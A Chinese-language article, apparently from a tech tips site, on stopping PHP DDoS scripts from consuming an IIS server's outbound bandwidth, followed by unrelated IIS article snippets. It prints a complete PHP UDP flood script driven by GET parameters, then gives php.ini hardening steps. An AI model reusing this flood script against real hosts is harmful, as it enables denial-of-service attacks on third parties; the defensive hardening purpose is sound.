iis防止php ddos占完网络带宽与服务器资源解决方法

php ddos的常见代码如下:

 代码如下 复制代码

$packets = 0;
$ip = $_GET['ip'];
$rand = $_GET['port'];
set_time_limit(0);
ignore_user_abort(FALSE);

$exec_time = $_GET['time'];

$time = time();
print "Flooded: $ip on port $rand

";
$max_time = $time+$exec_time;

for($i=0;$i<65535;$i++){
$out .= "X";
}
while(1){
$packets++;
if(time() > $max_time){
break;
}

$fp = fsockopen("udp://$ip", $rand, $errno, $errstr, 5);
if($fp){
fwrite($fp, $out);
fclose($fp);
}
}
echo "Packet complete at ".time('h:i:s')." with $packets (" . round(($packets*65)/1024, 2) . " mB) packets averaging ". round($packets/$exec_time, 2) . " packets/s \n";
?>

表现特征:

一打开IIS,服务器的流出带宽就用光-----就是说服务器不断向别人发包,这个情况和受到DDOS攻击是不同的,DDOS是不断收到大量数据包.

解决办法:

在c:windowsphp.ini里设其值为Off

 代码如下 复制代码

allow_url_fopen = Off

并且:

 代码如下 复制代码

;extension=php_sockets.dll

前面的;号一定要有,意思就是限制用sockets.dll

然后:

 代码如下 复制代码

; ignore_user_abort = On

前面的;号要去掉

然后重启IIS

如果上述方式仍然无效,你可以在IIS中,允许的扩展中,禁止PHP的扩展测试.

注:如果你的服务器不要运行机制php可以关闭,如果需要的话可以把php_sockets.dll 给禁止,还有一种办法就是把udp端口全部封了,只要80等一些重要的端口开放就可以了。

时间: 2024-08-03 10:54:08

iis防止php ddos占完网络带宽与服务器资源解决方法的相关文章

IIS建立网站后显示“403.1禁止访问”的解决方法

建立网站后,显示如下: 这是由于没有脚本访问权限导致的,解决方法:   这样设置后就可以了,呵呵 本文转自博客园张占岭(仓储大叔)的博客,原文链接:IIS建立网站后显示"403.1禁止访问"的解决方法,如需转载请自行联系原博主.

IIS 浏览aspx页面出现无法显示XML页的解决方法分享_实用技巧

 使用IIS调试.aspx程序时IE提示以下错误:                无法显示 XML 页.         使用 样式表无法查看 XML 输入.请更正错误然后单击 刷新按钮,或以后重试.         处理资源 'http://localhost/ 时出错.第 1 行,位置: 2          <%@ Page Language="C#" AutoEventWireup="true"   CodeFile="Main.aspx.c

IIS开启Gzip失败的原因之一:冲突 附解决方法_win服务器

但有一台服务器就没有成功,找过原因,未找到,今天突然想到一个方面,赶紧的动手尝试,果然原因就在于此. Gzip是一种流行的文件压缩算法,现在的应用十分广泛,当应用Gzip压缩到一个纯文本文件时,效果是非常明显的,大约可以减少70%以上的文件大小.使用Gzip压缩算法来对网页内容进行压缩后再传输到客户端浏览器.这样经过压缩后实际上降低了网络传输的字节数,最明显的好处就是可以加快网页加载的速度,除了节省流量,改善用户的浏览体验外,还有一个潜在的好处是Gzip与搜索引擎的抓取工具有着更好的关系.例如G

IIS运行错误 Server Application Error 错误代码 Error: 8004的解决方法_应用技巧

本文将重新修正整理了一下Server application Error解决方案,修正了命令中涉及到路径的问题,使用本文中的命令,将不需要理会路径问题: iis 修复工具下载 iis_repair_jb51.rar 1.右键点击我的电脑 --> 管理 --> 本地用户和组 --> 用户,在右侧给"IUSR_机器名"和"IWAM_机器名"两个用户均设置密码为123: 2.开始 --> 运行 --> cmd ,然后依次在命令行窗口输入以下命

用IIS建立的.net网站通过IP地址不能访问解决方法_win服务器

用iis建立一个.net的网站,在iis中绑定了服务器公网ip的80端口和127.0.0.1的80端口,结果用ip地址不能直接访问,而在局域网中,是可以直接访问的. 因为网站还没有注册,所以要用ip地址来测试网站. 用pache建立的网站,修改httpd.conf文件,bind ip:80 可以外网ip访问 到底怎么回事,后来查到, iis还有个叫主机头的东西,主要用于设置虚拟主机的.用于同一ip下的多网站. 现在通过修改 hosts文件来访问网站,问题解决. 在hosts文件中加入一行 123

IIS FTP部分文件上传报错451的解决方法

  最近部署一个基于IIS7的ftp服务器,添加一个组的用户具有上传及读取权限,使用Flashfxp软件测试了不同文件的上传下载,均可以正常使用.由于之前建FTP出现过使用浏览器访问不能验证用户的问题,于是也用浏览器进行测试,访问正常...正高兴呢..结果测试传几个文件遇到问题了..部分文件可以正常上传,但部分报错,具体错误提示如下: 找了下资料,发现原来是万国码问题,具体解决方法如下: 在FTP管理器的右边点击"高级设置"--将"允许UTF8"改为[False],

针对aspx木马可以读取iis站点信息,跨网站目录的临时解决方法_win服务器

1.aspx 木马文件可以在asp.net空间中实现读取进程.iis信息.跨站.执行cmd命令. 解决方法 1.对于每个网站建立一个用户.并将用户放入guest组,给站点写入.读取的权限.并在iis上允许匿名访问. 2. 复制代码 代码如下: <system.web> <identity impersonate="true" /> </system.web> 将以上代码复制到C:\WINDOWS\Microsoft.NET\Framework\v2.

先装VS再装IIS时出错的解决方法_实用技巧

原来在安装 Microsoft .NET Framework 软件开发工具包 (SDK) 或 Visual Studio .NET 之后,会创建 Internet 信息服务 (IIS) 映射,以便为 ASP.NET 的新文件扩展名及设置建立关联.如果在运行 SDK 或 Visual Studio 安装程序时没有安装 IIS,或是在运行 SDK 或 Visual Studio 安装程序之后卸载并重新安装了 IIS,那么这些设置将不正确.试图查看 ASP.NET 页时会遇到意外现象. 其中就包括,V

IIS防御小规模DDOS攻击实例(反向代理)_win服务器

    最近几天公司官网和业务系统的注册页面频繁遭遇DDOS攻击,导致IIS应用程序池CPU占用率100%,访问网站出现503错误.下面总结一下应对措施.     一.启用IIS的CPU监视功能     对于低频率的DDOS可以采取这种方法.w3wp.exe是应用程序池的关联进程,当WEB访问量大时,w3wp.exe会占用大量的系统资源.在DDOS攻击下,很明显的现象就是w3wp.exe占用CPU达到100%,网站拒绝访问,这个时候远程登录服务器都很困难.针对这种情况,做如下优化:     1.